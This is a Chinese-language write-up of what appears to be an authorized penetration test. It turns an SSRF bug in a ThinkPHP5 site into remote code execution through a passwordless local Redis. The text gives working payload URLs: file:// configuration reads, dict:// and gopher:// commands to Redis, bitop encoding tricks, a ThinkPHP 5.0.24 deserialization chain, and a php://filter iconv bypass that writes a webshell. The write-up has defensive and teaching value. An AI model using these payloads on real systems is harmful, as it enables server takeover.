前言
一次授權的滲透測試中,發現一處SSRF漏洞,可結合Redis實現RCE,看似近在咫尺,卻又滿路荊棘,經過不懈努力,最終達成目的。其中有幾處比較有意思的地方,抽象出來與大家分享。
發現SSRF
目標站點使用ThinkPHP5框架開發,互聯網可直接下載源代碼,通過代碼審計發現一處SSRF漏洞,代碼如下所示:
public function httpGet($url=""){
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_TIMEOUT, 8);
//curl_setopt($curl, CURLOPT_TIMEOUT_MS, 1);
curl_setopt($curl, CURLOPT_URL, $url);
$res = curl_exec($curl);
curl_close($curl);
return $res;
}
利用SSRF漏洞讀取ThinkPHP5配置文件:http://domain.com/public/index.php?s=index/test/httpget&url=file:////var/www/html/tp_5.0.24/application/config.php
如上圖所示,目標業務系統采用Redis緩存數據,且密碼為空。
利用gopher協議嘗試獲取info信息:
http://domain.com/public/index.php?s=index/test/httpget&url=gopher://127.0.0.1:6379/_info
發現無回顯,一段時間后500錯誤,疑似連接上后超時退出,原因不明(后期復盤時推測為疑似開啟了php短標簽導致語法錯誤)
嘗試利用dict協議,成功獲取Redis的info信息
http://domain.com/public/index.php?s=index/test/httpget&url=dict://127.0.0.1:6379/info
嘗試Redis 寫Shell
上述信息中顯示,Redis服務的PID 為3517,查看/proc/3517/status
文件。
其Redis服務用戶權限為Redis
而目標Web服務器為Nginx,其用戶權限為www-data
,故利用Redis寫shell,執行flushall操作后可能無法直接還原數據,需要通過本地提權獲得ROOT用戶。由於存在不確定性,故對於本次滲透測試場景下此方法不可取。
利用Redis dbfilename
寫shell過程發現寫入后門時
dict://127.0.0.1:6379/set d '<?php phpinfo();?>'
無法使用“?
”符號,如下圖所示
翻閱Redis文檔,發現可以使用bitop
命令
bitop知識相關鏈接地址為:https://redis.io/commands/bitop,該命令可以對Redis緩存值按位計算並獲取結果保存,如下圖所示:
執行save
操作后訪問目標發現回顯500錯誤,猜測原因可能如下:
-
目標redis數據過大(目標存在10w+ keys),導致超過PHP 執行文件大小;
-
可能是數據中存在與PHP代碼相似數據,解析出現語法錯誤,導致無法執行。
嘗利用ThinkPHP反序列化
查看ThinkPHP的Redis的獲取數據代碼,發現如果值以think_serialize:
開頭就可以觸發反序列化。
目標ThinkPHP的版本為 5.0.24,該版本存在已知反序列化寫文件漏洞,相關漏洞細節鏈接:http://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/。采用該鏈接中的漏洞利用代碼,直接生成的反序列化數據如下(數據前加上了think_serialize:
)
測試發現由於反序列化數據流中存在\x00
,導致程序報錯,如下圖所示:
測試發現反序列化數據流中存在“ : ”
符號,dict協議無法傳輸。
結合bitop not命令,先對數據進行取反,進入redis后,再取反,得到真正的反序列化數據。過程下圖所示。
至此,只要訪問代碼中觸發緩存的點即可觸發ThinkPHP5反序列化。
修改反序列化利用代碼
ThinkPHP反序列化漏洞最終的寫入點為
file_put_contents($a,'<?php exit();'.$a)
需要使用php://filter協議來繞過,原有漏洞利用代碼:
php://filter/write=string.rot13/resource=xx<?php
使用的rot13反轉,雖然繞過了exit();但是會導致輸出文件出現<?cur 如下圖所示
經測試目標返回500,推測是開啟了php短標簽導致語法錯誤,這估計也是前面Redis寫shell出現 500狀態碼的原因。
經過大量嘗試,最終發現使用php://filter//convert.iconv.UCS-4LE.UCS-4BE/resource=abcd
該iconv.UCS-4LE.UCS-4BE
函數會將目標4位一反轉,從而繞過短標簽。
但測試發現目標關鍵文件始終為空,而本地卻可以生成。測試使用寫入數據為aaaa仍為空。圖為本地生成的關鍵文件
猜測目標開啟了php strict模式,關鍵文件的總字符數不能被4整除(除后余2,如果添加2字符,則寫入數據不能正常顯示為shell)導致寫入為空。
最后嘗試php://filter//convert.iconv.UCS-2LE.UCS-2BE/resource=xxxx
成功getshell。iconv.UCS-2LE.UCS-2BE
為2位一反轉。
gopher協議再驗證
重新測試gopher協議。最后發現gopher協議會自動url解碼一次。
通過nc 對比gopher和dict協議后發現,dict會自動加上quit命令 XD
於是成功讓gopher有回顯,url=gopher://127.0.0.1:6379/_set key aa%253abbcc%250d%250aquit
如下圖所示:
但是使用url=gopher://127.0.0.1:6379/_set key aa%2500bbcc%250d%250aquit
時,仍然超時,猜測可能被截斷,但是對比nc數據包發現和發送數據一致。
嘗試將數據包直接導入redis
發現並沒有修改成功,嘗試導入redis-cli
修改成aa
?那么真相只有一個 -> 我是菜雞
redis-cli 的命令會被轉化。如下圖所示:
於是使用如上圖的方式即可傳入\x00
字符:
url=gopher://127.0.0.1:6379/_*3%250d%250a$3%250d%250aset%250d%250a$3%250d%250akey%250d%250a$4%250d%250aaa%2500a%250d%250aquit
其他
經測試也可以使用 Redis bitfield
命令(相關命令說明鏈接:https://redis.io/commands/bitfield)來快速設置字符: